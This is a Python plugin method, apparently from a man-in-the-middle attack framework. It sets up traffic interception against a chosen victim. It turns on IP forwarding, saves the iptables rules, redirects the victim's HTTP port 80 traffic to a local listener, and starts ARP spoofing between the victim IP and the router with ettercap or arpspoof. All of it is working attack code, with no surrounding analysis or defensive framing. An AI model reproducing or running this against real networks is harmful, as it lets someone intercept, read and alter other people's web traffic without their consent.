'Called if plugin is enabled, passed the options namespace'

def initialize(self, options):

    self.options = options
    self.vic_ip = options.victim_ip
    self.router_ip = options.router_ip
    self.procs = []
    logging.log(self.log_level, 'Starting    IP    forwarding...')
    self.ipfwd_status = open('/proc/sys/net/ipv4/ip_forward', 'r').read(1)
    subprocess.call('sudo    sysctl    -w    net.ipv4.ip_forward=1', shell=True, stdout=fnull, stderr=fnull)
    logging.log(self.log_level, 'Modifying    iptables...')
    os.system('iptables-save    >    /tmp/iptbl.bak')
    os.system(('sudo    iptables    -t    nat    -A    PREROUTING    -i    %s    -p    tcp    --dport    80    -j    REDIRECT    --to-port    %s' % (options.input_if, options.listen)))
    logging.log(self.log_level, 'Starting    arp    spoofing...')
    if options.use_ettercap:
        self.run_subprocess(('sudo    ettercap    -i    %s    -T    -o    -M    arp    /%s/    /%s/' % (options.input_if, self.vic_ip, self.router_ip)))
    elif self.vic_ip:
        self.run_subprocess(('sudo    arpspoof    -i    %s    -t    %s    %s' % (options.input_if, self.vic_ip, self.router_ip)))
    else:
        self.run_subprocess(('sudo    arpspoof    -i    %s    %s' % (options.input_if, self.router_ip)))
